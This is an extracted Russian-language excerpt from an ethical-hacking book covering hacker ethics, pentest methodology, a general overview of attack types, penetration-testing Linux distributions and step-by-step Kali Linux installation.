Глава 1 Что такое этичный взлом 1.4.1 Хакерская этика Хакер, который работает по прямому указанию руководства компании, чтобы защитить ее от атак, должен вести себя этически корректно. Это значит, что он не наносит ущерб компании и не крадет информацию. Его цель — укрепить целостность и надежность систем. Поэтому при профессиональном проведении тестирования на безопасность этичные хакеры должны соблюдать следующие правила. Работать этично Прежде всего это значит ориентироваться на профессиональные моральные нормы и принципы, независимо от того, проводятся ли тесты на собственных системах или по заказу. При этом необходимо поддерживать корпоративные цели. Это означает безоговорочное предоставление результатов, даже если это может быть невыгодно вам. Основной принцип всегда заключается в доверии. Это также лучший способ убедить сотрудников в необходимости долгосрочной программы обеспечения безопасности. Неправомерное использование данных абсолютно недопустимо. Так ведут себя только «черные шляпы». Уважение к частной жизни Необходимо уважительно обращаться с собранными данными. Все, что вы узнали во время тестов, должно оставаться конфиденциальным. Это касается файлов журналов веб-приложений, паролей в открытом виде, а также личных данных. Никогда не копайтесь в конфиденциальных данных компании или личной жизни сотрудников тестируемой фирмы. Совет Всегда вовлекайте других в процесс и обеспечивайте наличие свидетелей. Когда вы находитесь под наблюдением, это особенно способствует укреплению доверия. Не допускайте сбоев в работе систем Самая большая ошибка, которая возникает при взломе, — это непреднамеренный сбой систем, которые на самом деле должны быть защищены. Это случается при плохом планировании. Часто возможности, ограничения и преимущества используемых инструментов и методов недостаточно хорошо изучены. Вероятность этого невелика, но тестирование может создать DoS-условия для систем. В частности, это происходит, если слишком много 22
1.5 Как стать хакером или хакершей? тестов проводится чересчур быстро, что может привести к сбоям в системе, повреждению данных, перезагрузкам и т. п. Чаще всего это случается при тестировании веб-сайтов и приложений. Вы также можете нечаянно заблокировать учетные записи навсегда или на время, заставив кого то сменить пароль, не осознавая последствий. Будьте осторожны и ответственно подходите к выполнению поставленной задачи. ‑ 1.4.2 Этичный взлом против аудита Этичный взлом часто путают с проверкой безопасности (аудитом), но между ними есть различия. Аудит предполагает сравнение правил безопасности компании с действующими стандартами. Его проводят для проверки наличия мер безопасности. При этом обычно используется риск-ориентированный подход, то есть вы рассматриваете все риски систем и оцениваете их соответствующим образом. При проведении аудитов безопасности часто пересматриваются бизнес-процессы, которые не обязаны быть технически ориентированы, а могут просто основываться на вопросах безопасности. ­ При этичном взломе фокусируются на потенциально уязвимых местах. Проверяется, эффективны ли меры безопасности и существуют ли они вообще. Этичный взлом может быть очень техничным или пройти на низком уровне. Даже если здесь соблюдаются формальные процедуры, они, как правило, менее структурированы, чем формальные аудиты безопасности. Для проверки компании (например, для сертификации ISP 9001 или 27001) можно рассмотреть возможность включения представленных здесь методов этичного взлома в процесс аудита. 1.5 Как стать хакером или хакершей? Чтобы ответить на этот вопрос в книге, я ввел его в различные поисковые системы. Поиск выдавал три основные темы. ◾ Приобрести базовые навыки взлома. ◾ Думать как хакер. ◾ Заслужить уважение. С первым пунктом справиться легко — это базовые знания, которые необходимо усвоить. Здесь речь идет в первую очередь об основах информационных технологий. Эти знания также можно получить, не прибегая к обучению. Важная часть данной книги — как добыть знания из интернета? Вот часть этих основ: ◾ Понимание того, как работает компьютер. ◾ Понимание операционных систем. 23
Глава 1 Что такое этичный взлом ◾ ◾ ◾ ◾ ◾ ◾ ◾ ◾ Освоение хорошей ОС — как правило, Linux. Понимание, как работают логические процессы. Понимание программных процессов. Изучение программирования. Понимание того, как работать с различными структурами данных. Понимание баз данных. Знание принципов работы сетей. Знание принципов работы интернета. Когда дело доходит до того, чтобы думать как хакер, все становится сложнее. Нужно придумывать креативные решения или объединять вещи, которые явно не связаны друг с другом. Эта способность развивается только с повышением технических навыков. Третий пункт «Заслужить уважение» сложно объяснить. Здесь не имеется в виду быть как можно более крутым хакером, как часто бывает в среде Script Kiddie. Речь идет не о самом взломе, а о вас как о личности. Будьте искренни, слушайте и учитесь, проявляйте эмпатию и предлагайте помощь, уважайте других и заслуживайте их уважение. Это не односторонний процесс. Эта книга, интернет и другие хакеры — хорошая отправная точка для накопления знаний и начала работы с ними, а также для поиска того, что вам особенно интересно. Большая часть документации написана на английском языке, поэтому желательно им владеть. Отдельные термины можно быстро найти, но без технической лексики это становится практически невозможным. 1.6 Сбор информации об инструментах Основы очень важны для понимания всего взаимодействия компонентов, будь то сетевые составляющие внутри тестируемой инфраструктуры или используемые инструменты. Мир информационных технологий очень сложен, поэтому многие люди специализируются на отдельных предметных областях. Когда дело доходит до взлома, полезно быть универсалом и изучать широкий спектр знаний, но только в той мере, в какой это необходимо. Однако для хакерства также требуются и совершенно иные навыки. Важно уметь оперативно находить информацию, а также быстро понимать и применять абстрактные или новые концепции. К счастью, у нас под рукой есть интернет. Два наиболее важных инструмента — браузер и поисковая система. При этом не важно, какая поисковая система используется: альтернативы, защищающие конфиденциальность, такие как DuckDuckGo, дают результаты, аналогичные Google. Выбор поисковой системы зависит от ваших личных предпочтений. 24
1.7 Руководящие принципы, соответствие требованиям… Поскольку многие результаты поиска, которые мы получили, рано или поздно становятся недоступными, рекомендуется создать личную базу знаний. Вы можете сохранять полезные поясняющие видео, статьи или PDF-файлы в автономном режиме. Хорошие статьи, схемы или тексты я либо копирую прямо, либо сохраняю страницу в формате PDF. Печатный вариант обычно выглядит привлекательнее, удобнее и без рекламы. Поскольку неизвестно, как долго будут существовать URL-адреса, я воздержусь от размещения их в этой книге. Но независимо от того, какие термины я искал, я всегда находил тот же или похожий контент. В интернете множество блогов, которые хорошо объясняют отдельные темы, но лучшие источники — официальная документация или спецификации, за которыми следуют Wiki и Stack Overflow (система вопросов и ответов о программировании). Вы можете подсмотреть там идею, но всегда проверяйте их еще раз, прежде чем взять что то на вооружение. ‑ Есть и много специализированных книг, которые можно скачать в рамках открытых книжных проектов. Эти материалы подходят для справки, но только практическое руководство объяснит вам взаимосвязи. Такие примеры применения можно найти в виде «как это сделать» или «учебное пособие». После того как вы определились с инструментом, вы можете поискать инструкции по его эксплуатации, записи в блогах и учебниках, которые стоит задокументировать и сохранить для себя. В дополнение к обширной документации часто можно найти Program-Cheat-Sheets. Это маленькие шпаргалки, которые фиксируют часто используемые примеры или функции. Вы также можете создать свои собственные шпаргалки, если их нет или они не соответствуют вашим потребностям. ­ ­ Чтобы быстро освоить тему, я всегда придерживаюсь такого подхода: ◾ ◾ ◾ ◾ 1.7 Дать общее представление о предмете. Читать документацию. Искать примеры. Разработать или протестировать на практике прототипы. Руководящие принципы, соответствие требованиям и нормативные аспекты Если этичный взлом должен стать частью вашего управления IT-рисками, то вам потребуются письменные рекомендации для тестов безопасности. Они описывают: ◾ какой тип этического взлома осуществляется; ◾ какие системы (серверы, веб-приложения, ноутбуки и т.д.) рассматриваются; 25
Глава 1 Что такое этичный взлом ◾ как часто проводится проверка. Также следует подумать о создании документации, в которой будут описаны используемые тестовые инструменты и установлены сроки для регулярного тестирования ваших систем. Вы можете, например, указать, что внешние системы должны тестироваться раз в квартал, а внутренние — раз в полгода. Ваши руководящие принципы определяют, как в вашей компании следует проводить тестирование безопасности, — но не забывайте учитывать законы, которые касаются именно вашего бизнеса. Они требуют постоянной корректировки собственных требований безопасности. Так ваше этичное хакерство, следуя установленным требованиям и адаптируясь к государственным регламентам, значительно повысит ценность вашей программы. 1.8 Зачем взламывать себя? Чтобы поймать вора, нужно думать как вор! Это и есть основа этичного взлома. Очень важно знать своих врагов. Теория вероятности (чем больше возможностей существует, тем выше вероятность успешного попадания) работает против безопасности. С увеличением числа хакеров, обладающих все более обширными знаниями, и возрастающим количеством уязвимостей рано или поздно все компьютерные системы и приложения, вероятно, будут взломаны или, по крайней мере, подвергнуты угрозе. Важно защитить свои системы от злоумышленников. И делать это нужно не только по отношению к тем слабым местам, которые уже известны. Зная трюки хакеров, вы можете определить реальную уязвимость и просчитать риски для своих систем. Хакеры используют плохие процедуры безопасности и открытые уязвимости. Файерволы, шифрование и пароли могут создавать ложное чувство защищенности. Системы безопасности часто концентрируются только на уязвимостях верхнего уровня, таких как базовый контроль доступа, не учитывая методы работы хакеров. Этичный взлом — единственный способ защитить свои системы от атак. Если вы не знаете об уязвимостях, то их использование — лишь вопрос времени. Важно, чтобы вы развивали свои навыки, как и любой хакер. Чтобы эффективно защищать системы, вам нужно думать и работать, как он. Как этичный хакер, вы должны знать, какие инструменты доступны и как эффективно остановить атаки. Как только вы поймете, где именно искать и как использовать соответствующую информацию, противостоять усилиям хакеров будет проще простого. 26
1.9 Стратегия и методология в этичном взломе Примечание Вы не можете и не должны охранять ваши системы от всего: это невозможно. Но важно защититься от известных уязвимостей и обычных атак. Это очень часто игнорируют во многих организациях. Чем больше вариантов вы опробуете и чем интенсивнее будете тестировать целые системы, а не отдельные устройства, тем выше вероятность обнаружить уязвимости, которые поставят под угрозу всю систему. Но не переусердствуйте с этичным взломом. Нет смысла защищаться от маловероятных атак. Не стоит беспокоиться о защите веб-сервера, если вы его не используете, — достаточно ограничить веб-доступ до минимума. Постановка целей для этичного взлома: ◾ Установите приоритеты для ваших систем, чтобы сосредоточиться на самом важном. ◾ Взламывайте системы без ущерба для себя. ◾ Укажите на слабые места и продемонстрируйте, что их можно использовать не по назначению. ◾ Устраните уязвимости и улучшите защиту своих систем. 1.9 Стратегия и методология в этичном взломе Этичный хакинг — это систематический процесс, цель которого — выявить и устранить уязвимости и недостатки безопасности в системе или сети. Хорошо продуманная стратегия и методология имеют решающее значение для проведения эффективных и комплексных тестов безопасности. В этом разделе я объясню основные шаги и этапы процесса этичного хакерства. 1. 2. 3. Сбор информации и планирование. На этом этапе собираются сведения о целевой компании или целевой среде, IT-инфраструктуре, сотрудниках. На основе этих данных разрабатывается детальный план для проведения безопасного тестирования, который определяет цели, объем, методы и временные рамки теста. Футпринтинг и сканирование. На этом этапе используются различные техники, такие как порт-сканирование, сетевое сканирование и футпринтинг, для сбора информации о целевой среде. Сканирование сети позволяет выявить открытые порты, доступные хосты и потенциальные уязвимости. В процессе футпринтинга собираются сведения о целевой организации, ее подсетях, DNS-информации и т. д. Перечисление и обнаружение слабых мест. На этом этапе целенаправленно собираются данные о пользователях, ресурсах и службах в сети. Благодаря этому можно выявить уязвимости и проблемы с безопасностью, 27
Глава 1 Что такое этичный взлом 4. 5. 6. 7. которые могут быть использованы для получения несанкционированного доступа. Эксплуатация и проникновение. Выявленные уязвимости и пробелы в безопасности используются для получения доступа к системе или сети. Этичные хакеры применяют различные эксплойты и хакерские инструменты для преодоления уязвимостей и вторжения в систему. Они используют исключительно авторизованные эксплойты и действуют только в рамках, необходимых для тестирования безопасности. После получения доступа начинается фаза пост-эксплуатации. Этичные хакеры пытаются повысить свои привилегии в системе и собрать дополнительные данные, чтобы получить долгосрочный доступ к системе для выявления уязвимостей и их устранения. Документация и отчетность. Это неотъемлемая часть процесса этичного хакерства. Все выполненные шаги, выявленные уязвимости, предпринятые меры и результаты должны быть точно зафиксированы. Составляется детальный отчет, который описывает уязвимости, их последствия и возможные меры противодействия. Отчет представляется заказчику, который затем может предпринять необходимые действия. Отслеживание и проверка. После того как тест на этичный взлом завершен, важно проанализировать процесс и оценить принятые меры. Эксперты по безопасности должны оценить успешность тестирования, чтобы убедиться, что все уязвимости устранены и система защищена должным образом. При необходимости могут быть проведены дополнительные испытания с целью подтверждения эффективности рекомендованных мер безопасности. Подходы и методология в этичном взломе должны быть гибкими, чтобы соответствовать специфическим требованиям каждого проекта. Структурированный и хорошо спланированный подход очень важен для проведения комплексных и информативных тестов безопасности. Этичные хакеры должны уметь адаптироваться к условиям и задачам каждого конкретного проекта, при этом обеспечивая охват всех актуальных аспектов. В этичном хакинге прозрачность и сотрудничество имеют решающее значение. Этичные хакеры всегда должны работать в тесном сотрудничестве с заказчиком, чтобы понять цели тестирования безопасности и убедиться, что все тесты проводятся с разрешения и в соответствии с политикой компании. Безопасность системы всегда должна быть на первом месте, поэтому этичные хакеры должны проявлять максимальную осторожность и избегать потенциального ущерба. Еще один важный аспект — постоянное совершенствование процесса этичного взлома. Этичные хакеры всегда должны быть в курсе новейших методов атак, уязвимостей в системе безопасности и мер противодействия. Ситуация 28
1.10 Понимание опасностей в области безопасности постоянно меняется, поэтому жизненно важно регулярно обновлять и расширять свои навыки и знания. Этичный взлом — это не одноразовое тестирование безопасности, а непрерывный процесс, направленный на обеспечение безопасности системы в долгосрочной перспективе. Компании и организации должны рассматривать этичный взлом как важную часть своей концепции безопасности и регулярно проводить тесты. Так можно выявлять и устранять уязвимости до того, как их используют злоумышленники. 1.10 Понимание опасностей Одно дело — понимать, что системы уязвимы для хакеров по всему миру и злоумышленников в вашем офисе. Но совсем другое — знать, что существуют разные способы атаки. Здесь я расскажу о некоторых наиболее известных. Важно знать, что многие уязвимости в области безопасности данных сами по себе не представляют серьезной угрозы, однако при одновременном их использовании можно существенно подорвать безопасность систем. Стандартная конфигурация Windows вместе со слабыми паролями администратора SQL-серверов или беспроводными управляемыми сетевыми серверами — сами по себе еще не серьезный риск безопасности. Однако, если хакеры используют эти уязвимости одновременно, они могут получить доступ не только к конфиденциальным данным. Внимание! Сложность — враг IT-безопасности. Количество уязвимостей и атак постоянно растет. Причины этого — в первую очередь облачные вычисления и социальные сети. Вместе с виртуализацией это чрезвычайно усложняет IT-среду: чем больше систем взаимодействует, тем сложнее становится среда. При этом не следует забывать о влиянии отдельных уязвимостей на всю структуру. 1.10.1 Нетехнические атаки Вы наверняка уже слышали термин «exploit». Это программы, использующие слабые места в системе безопасности компьютера. Самая большая уязвимость — это люди (конечные пользователи и даже вы сами), которых убеждают вести себя определенным образом, — например, загружать эксплойты через фишинговые письма. Такие атаки называются «социальной инженерией». Подробнее о социальной инженерии вы узнаете в главе 10. 29
Глава 1 Что такое этичный взлом Существуют также атаки IT-систем на физическом уровне. Хакеры проникают в здания, компьютерные залы и другие помещения, чтобы получить доступ к важным данным, похитить компьютеры, серверы и другое ценное оборудование. К таким атакам относится также так называемый «Dumpster Diving» (англ. «ныряние в мусор»), то есть перебирание мусорных контейнеров в поисках ценных данных (паролей, сетевых схем и другой информации). 1.10.2 Атаки на сеть Атаковать инфраструктуру сетей обычно несложно, поскольку они часто доступны по всему миру через интернет. Типы таких атак: ◾ Подключение к сети через незащищенную точку беспроводного доступа, которая находится за Firewall (брандмауэром, файерволом). ◾ Использование слабых мест сетевых протоколов, таких как TCP/IP или SSL (Secure Sockets Layer). ◾ Перегрузка сети большим количеством запросов, что приводит к блокировке сервисов и, как следствие, к недоступности услуг для законных пользователей (DoS — Denial of Service — отказ в обслуживании). ◾ Установление в сети анализатора трафика для перехвата всех пакетов, проходящих через сеть, для проверки на наличие конфиденциальной информации в открытом виде. 1.10.3 Атаки на операционные системы Излюбленная мишень хакеров — ОС. Все компьютеры требуют ее наличия, а она уязвима для многих эксплойтов. Иногда используют редкие ОС, такие как довольно старые Novell NetWare или OpenBSD, которые выглядят более безопасными, но также имеют уязвимости. Хакеры, естественно, предпочитают атаковать распространенные ОС, такие как Windows, Linux или macOS: их слабые места известны и выбор целей больше. Примеры атак: ◾ ◾ ◾ ◾ Использование уязвимостей из-за отсутствия обновлений. Атаки на системы аутентификации операционных систем. Отключение функций безопасности соответствующих файловых систем. Взлом паролей и слабых средств шифрования. 1.11 Резюме Этичный хакинг, также известный как тестирование на проникновение или white-hat hacking, — это метод, с помощью которого эксперты по безопасности 30
1.11 Резюме пытаются взломать компьютерные системы, сети или приложения для выявления и защиты уязвимостей от злоумышленников. Этичные хакеры используют аналогичные инструменты и техники, что и злоумышленники, но с прямым согласием целевой системы и в рамках законов и этических норм. Они играют важную роль в кибербезопасности и помогают компаниям и организациям защищать свои системы от злонамеренных атак.
Глава 2 Операционные системы для хакеров В принципе, любую операционную систему — от Windows и OS X до Linux — можно использовать для взлома. При использовании Linux дистрибутивы не имеют значения. Однако есть специально разработанные дистрибутивы для проведения тестов на проникновение, такие как Kali Linux, Parrot Security OS или BlackArch, которые кратко представлены ниже. Они облегчают жизнь тестировщику, поскольку отпадает необходимость собирать все инструменты и обновлять их вручную. Они уже содержатся в соответствующих репозиториях и поэтому автоматически обновляются при обновлении системы. 2.1 Kali Linux Kali Linux — это производное Linux, основанное на Debian (свободная ОС с открытым исходным кодом). В качестве операционной системы безопасности ориентировано прежде всего на опытных пользователей. Это также одна из самых известных хакерских ОС. Она использует XFCE в качестве стандартного рабочего стола и поддерживает другие графические интерфейсы, такие как Gnome 3, KDE или MATE. Среди множества предустановленных инструментов — Aircrack-ng, nmap, Wireshark, Metasploit Framework, John the Ripper, Maltego и многие другие. Для Kali Linux система должна иметь как минимум 2 ГБ оперативной памяти и 20 ГБ места на жестком диске. 2.2 Backbox Backbox — это дистрибутив на базе Ubuntu, предлагающий широкий спектр инструментов для тестирования на проникновение и безопасность. Он охватывает большинство вопросов безопасности, с которыми сталкиваются администраторы малых и средних сетей. Минимальные системные требования составляют 1 ГБ оперативной памяти и 10 ГБ дискового пространства. Система оснащена рабочим столом XFCE, а панель находится в верхней части экрана. 32
2.3 Parrot OS Рис. 2.1. Backbox — Меню аудита 2.3 Parrot OS Рис. 2.2. Parrot OS — Меню теста на безопасность и проникновение 33
Глава 2 Операционные системы для хакеров Как и Kali Linux, Parrot OS основан на Debian. Он предназначен для тестирования на проникновение, оценки уязвимостей и компьютерной криминалистики. В качестве рабочей среды используется MATE Desktop Environment. Parrot OS предназначена для использования на устройствах с оперативной памятью не менее 25 Гб. 2.4 BlackArch Рис. 2.3. Меню BlackArch Linux BlackArch — это дистрибутив Linux, основанный на Arch Linux, который в настоящее время объединяет более 2400 инструментов безопасности. С его помощью можно обнаружить уязвимости в безопасности, проанализировать Wi-Fi, обмануть антивирусные программы или взломать пароли. ­ Хотя BlackArch мало весит, загрузка ISO очень объемная. Помимо базовой системы Linux, ISO-образ содержит полную коллекцию инструментов. 34
2.5 Deft Linux 2.5 Deft Linux Рис. 2.4. Меню Deft Linux Deft Linux — это адаптация Ubuntu. Она особенно подходит для компьютерной криминалистики и содержит инструменты для реагирования на инциденты безопасности. Инструменты, которые предоставляет DEFT Linux, могут пригодиться IT-аудиторам, следователям, военным и полиции. Этот дистрибутив Linux также хорошо подойдет, если вы хотите начать заниматься этичным хакингом. 2.6 Pentoo Linux Pentoo Linux — еще одна ОС Linux, предназначенная для проведения тестов на безопасность и проникновение. Она основана на Gentoo-Linux и предоставляет широкий спектр инструментов, которые помогают при этичном хакерстве. На самом деле это просто Gentoo-Linux, но множество адаптированных инструментов сделали эту ОС более удобной для обеспечения безопасности. ­ ­ 35
Глава 2 Операционные системы для хакеров Рис. 2.5. Pentoo Linux 2.7 CAINE Рис. 2.6. CAINE 36
2.8 Fedora Security Spin CAINE (Computer Aided Investigative Environment/Компьютеризованная исследовательская среда) Linux — итальянский дистрибутив Linux Live. Это профессиональная платформа для криминалистики с открытым исходным кодом, которая интегрирует программные инструменты в виде модулей вместе с мощными скриптами на графическом интерфейсе. Среда ОС была разработана с целью предоставить криминалисту все инструменты для проведения цифровой криминалистической экспертизы (сохранение, сбор, изучение и анализ). CAINE основана на Ubuntu. 2.8 Fedora Security Spin Рис. 2.7. Fedora Security Spin — извлечение из меню лаборатории безопасности Fedora Security Lab предлагает надежную тестовую среду для проведения аудита безопасности, судебной экспертизы, восстановления системы и обучения методам защиты. Spin управляется сообществом экспертов по безопасности и разработчиков. Он поставляется с быстрой средой рабочего стола XFCE и пользовательским меню, которое предоставляет все инструменты для проведения тестов на безопасность или восстановления неисправной системы. Живая среда была создана для того, чтобы позволить устанавливать 37
Глава 2 Операционные системы для хакеров программное обеспечение во время работы. При запуске системы с USBнакопителя, созданного с помощью LiveUSB Creator с функцией наложения, вы можете устанавливать, обновлять программное обеспечение и сохранять результаты своих тестов на постоянной основе. 2.9 Резюме Как вы видите, существует множество операционных систем, специально разработанных для хакерства или криминалистики. Самое главное — найти систему, с которой вы чувствуете себя наиболее комфортно и которая лучше всего интегрирует используемые вами инструменты. В этой книге в качестве ОС используется Kali Linux, однако все советы и рекомендации можно применить и к другим системам. Какую систему вы в конечном итоге выберете, не имеет особого значения ни для взлома, ни для книги. Основы не зависят от системы, и используемые инструменты в большинстве своем также могут быть установлены и использованы на других дистрибутивах. Некоторые из этих инструментов даже не требуют наличия системы Linux, поскольку они доступны и для Windows.
Глава 3 Подготовка операционной системы Один из самых распространенных дистрибутивов Linux для тестирования на проникновение и аудита безопасности — это Kali Linux, поэтому мы будем использовать его и в этой книге. Здесь я остановлюсь только на самых важных функциях, необходимых для выполнения задач. Если вы хотите узнать больше о хакинге, рекомендуем вам поближе познакомиться с Linux и инструментами. Например, моя книга «Введение в Kali Linux» будет полезной дополнительной литературой. Установка Kali-Linux 3.1.1 Загрузка ISO-файлов ­ 3.1 ISO-файлы Kali Linux вы можете найти на официальном сайте Kali в разделе GET KALI 1. Поскольку Kali очень популярна, файлы Kali для загрузки можно найти на многочисленных других веб-сайтах, но к таким источникам следует относиться с осторожностью: всегда остается вопрос, насколько они надежны. Они могут быть заражены вредоносным ПО и способны нанести ущерб вашей системе или, что еще хуже, вашим клиентам. Я рекомендую загружать ISO-файлы исключительно из официального источника — с веб-сайта Kali. Официальная страница загрузки содержит список доступных ISO-образов, как показано на рис. 3.1. 1 ‑ ‑ ‑ ‑ ‑ Файлы, которые работают на 32- или 64 битных системах, подходят для процессоров, которые можно найти в большинстве современных компьютеров и ноутбуков. Современные компьютеры, скорее всего, имеют процессор G4 бит, однако, если вы не уверены, вы также можете скачать 32 битную версию. Все процессоры G4 бит могут также выполнять 32 битные инструкции. https://www.kali.org/downloads/ 39
Глава 3 Подготовка операционной системы Рис. 3.1. ISO-образы, предлагаемые для скачивания Если вы собираетесь установить Kali на встроенное устройство, смартфон, Chromebook или другое оборудование с процессором ARM, вам нужно использовать ARM-файлы. Как только вы выберете нужный файл, вы можете скачать его, нажав на ссылку HTTP в соответствующей строке. Можно загрузить файлы из P2P сети BitTorrent, нажав на кнопку TORRENT. Для этого вам также понадобится BitTorrent-клиент. ­ 3.1.2 Копирование файла на загрузочный носитель Если вы решили не запускать Kali Linux на виртуальной машине, ISO-изображение в виде файла можно использовать лишь в ограниченном объеме. Вам следует записать его на DVD или скопировать на USB-накопитель (флешку), чтобы загрузить Kali Linux на своем компьютере. 40
3.1 Установка Kali-Linux ­ В этом разделе мы сосредоточимся на создании загрузочной флешки: это наиболее распространенный вариант. Кроме того, процесс записи DVD-ROM может сильно различаться в зависимости от платформы и окружения. Часто достаточно щелкнуть правой кнопкой мыши на ISO-файле, чтобы вызвать контекстное меню. Там есть элемент меню «Записать образ диска», чтобы начать процесс записи. Создание загрузочного USB-накопителя под Windows Чтобы создать загрузочную флешку, вам потребуется инструмент BalenaEtcher 2. После установки программы подключите ваш USB-накопитель к компьютеру с Windows. Рис. 3.2. BalenaEtcher — создание загрузочного USB-накопителя под Windows Запустите Balena и выберите файл ISO Kali Linux, который вы хотите скопировать на USB-накопитель. Когда правильный USB-накопитель выбран, вам остается запустить «Процесс копирования». Создание загрузочного USB-накопителя в Linux Создать загрузочную флешку под Linux просто. Среда рабочего стола GNOME, которая по умолчанию установлена во многих дистрибутивах Linux, включая Kali, поставляется с утилитой для работы с жесткими дисками (gnomedisk-utility). Эта программа отображает список носителей данных, который 2 https://www.balena.io/etcher/ 41
Глава 3 Подготовка операционной системы динамически обновляется при подключении или отключении диска. Чтобы отобразить более подробную информацию, необходимо выбрать USB-носитель из списка носителей данных. 8,1 GB Drive имя устройства Model Partitioning меню ??? Serial Number Volumes Size Device Partition Type Contents (Bootable) Mounted at Рис. 3.3. Утилита для работы с жесткими дисками gnome-disk-utility Нажмите на кнопку меню (в правом верхнем углу) и выберите опцию «Восстановить образ диска…» (Restore drive image). Там выберите ISO-файл и нажмите «Начать восстановление…» (Start restoration…) (рис. 3.4). 42
3.1 Установка Kali-Linux ­ Restore drive image The drive image is 7.5 GB smaller than the target device Image for restoration Drive image size Target 8.1 GB drive Cancel Start restoration… Рис. 3.4. Диалоговое окно Restore drive image Создание загрузочного USB-накопителя под OS X/macOS OS X или macOS — операционная система на базе Unix, поэтому вы также можете использовать терминал для работы с командами Linux. Используйте команду dd, чтобы скопировать данные на ваш USB-накопитель. Чтобы узнать имя устройства USB-накопителя, выполните команду diskutil list. Появится список всех доступных жестких дисков. Затем подключите USBнакопитель и снова выполните команду diskutil list. На выходе должно быть указано, что USB-накопитель — дополнительный носитель данных. Найдите дополнительную строку, которая идентифицирует ваш жесткий диск, и запишите /dev/diskX, где X означает идентификатор диска. Важно, чтобы USB-накопитель не был установлен. Этого можно добиться с помощью явной команды размонтирования — при условии, что имя устройства вашего USB-накопителя — /dev/disk6. Это может выглядеть следующим образом: 001 diskutil unmount /dev/disk6 Затем можно выполнить команду dd, добавив дополнительный параметр -bs для размера блока. Он определяет размер блока, который считывается из входного файла и затем записывается в файл выходных данных. 002 dd if=kali-linux 2019.2 amd64.iso of=/dev/disk6 bs=1M ‑ ‑ Вот и все: теперь USB-накопитель готов, и вы можете загрузиться с него или установить Kali. 43
Глава 3 Подготовка операционной системы 3.2 Автономная установка Как и Windows, Kali Linux — ОС и поэтому она может быть установлена в качестве единственной операционной системы. Как уже упоминалось, для установки требуется как минимум 20 ГБ свободного места на жестком диске и 1 ГБ оперативной памяти. Конечно, в BIOS также должна быть активирована загрузка с CD/DVD-привода или USB. После загрузки Kali Linux и создания загрузочного носителя (DVD или USB) запустите компьютер с соответствующего носителя. Рис. 3.5. Экран загрузки при запуске с установочного носителя При загрузке с установочного носителя появится экран (рис. 3.1), где вы можете выбрать Install (текстовый режим установки) или Graphical Install (графический режим установки). Более привлекательна установка с графическим интерфейсом (GUI), поэтому в примере я выбрал опцию Graphical Install. Далее вы можете выбрать языковые настройки для установки. 44
3.2 Автономная установка Рис. 3.6. Настройка языка при установке Следующий шаг — выбор географического местоположения: Выберите местоположение Выбранное местоположение будет учтено при настройке часового пояса и создании списка при выборе системной локали. Обычно, здесь указывается страна, в которой вы живете. Страна, область или регион: Бельгия Германия Италия Лихтенштейн Люксембург Швейцария Австрия Другая Снимок экрана Вернуться Продолжить Рис. 3.7. Выбор местоположения при установке 45
Глава 3 Подготовка операционной системы Данный сокращенный список основан на выбранном вами языке. Выберите «другая», если вашего местоположения нет в списке. Затем выберите раскладку клавиатуры: Настройка клавиатуры Выберите клавиатурную раскладку: Дворак Дзонг-кэ Эсперанто Эстонский Эфиопский Финский Французский Грузинский Немецкий Греческий Гуджарати Гурмукхи Иврит Хинди Венгерский Исландский Ирландский Снимок экрана Вернуться Продолжить Рис. 3.8. Выбор раскладки клавиатуры После этого оборудование обычно обнаруживается автоматически. Программа установки распознает его и пытается определить загрузочный диск, с которого осуществляется доступ к содержимому. Она загружает модули, соответствующие различным распознанным аппаратным компонентам, а затем подключает загрузочный диск для их чтения. Предыдущие шаги были полностью включены в загрузочный файл, который находился на автономном носителе, то есть в файле ограниченного размера. Этот файл загружается в память при запуске с носителя. Имея доступное содержимое, программа установки загружает все файлы, необходимые для продолжения работы. Сюда входят дополнительные драйверы для остального оборудования (особенно сетевых карт) и все компоненты программы установки. На следующем этапе программа установки пытается автоматически определить сетевую карту и загрузить соответствующий модуль. Если автоматическое определение не сработает, можно выбрать модуль для загрузки вручную. Если по-прежнему не получается, можно загрузить определенный модуль со съемного устройства хранения данных. Последний вариант обычно применяется только в том случае, если соответствующий драйвер отсутствует 46
3.2 Автономная установка в стандартном ядре Linux, но доступен в другом месте — например, на домашней странице производителя. Установка сетевой карты должна быть успешной для сетевых установок (например, при загрузке с mini.iso), так как пакеты Debian должны загружаться из сети. Чтобы процесс проходил с минимальным вмешательством вручную, установка в основном автоматизирована. Программа установки пытается выполнить автоматическую настройку сети, используя протокол DHCP 3 (для IPv4 и IPvG) и протокол обнаружения соседей ICMPvG (для IPvG). Настройка сети Ожидание локального адреса… Прервать Рис. 3.9. Автоматическое обнаружение сети Если автоматическая конфигурация не удалась, программа установки предлагает дополнительные варианты. ◾ Попробуйте обычную конфигурацию DHCP. ◾ Попробуйте настроить DHCP, указав имя компьютера. ◾ Установите статическую конфигурацию сети. Последний вариант требует ввода IP-адреса, маски подсети, IP-адреса потенциального сетевого шлюза, имени компьютера и доменного имени. При настройке сети необходимо задать компьютеру имя (имя хоста) (см. рис. 3.10) и доменное имя. Если вы настраиваете только локальную домашнюю сеть, не имеет значения, что вы вводите. Однако при выборе доменного имени необходимо убедиться, что все компьютеры используют один и тот же домен. 3 Dynamic Host Configuration Protocol. 47
Глава 3 Подготовка операционной системы Настройка сети Введите имя этого компьютера Имя компьютера — это одно слово, которое идентифицирует вашу систему в сети. Если вы не знаете каким должно быть имя вашей системы, то посоветуйтесь с администратором вашей сети. Если вы устанавливаете вашу собственную домашнюю сеть, можете выбрать любое имя. Имя компьютера: Снимок экрана Вернуться Продолжить Рис. 3.10. Назначение имен хостов при установке Во время установки копия изображений дублируется на жесткий диск, проверяется сетевое подключение, а затем выбирается имя компьютера (имя хоста) для системы. В этом примере я ввел «kali» в качестве имени хоста. Возможно, вам нужно будет назначить доменное имя, если вы хотите интегрировать этот компьютер в сеть компании. Следующий шаг — создание учетной записи пользователя. Это выполняется в три этапа: ◾ Указание полного имени пользователя. ◾ Имя пользователя для новой учетной записи (необходимо для входа в систему). ◾ Пароль для учетной записи пользователя (рис. 3.11). Программа установки автоматически создает учетную запись, включая учетную root-запись. Инсталлятор запрашивает подтверждение пароля, чтобы избежать ошибок ввода, которые позже будет сложнее исправить. 48
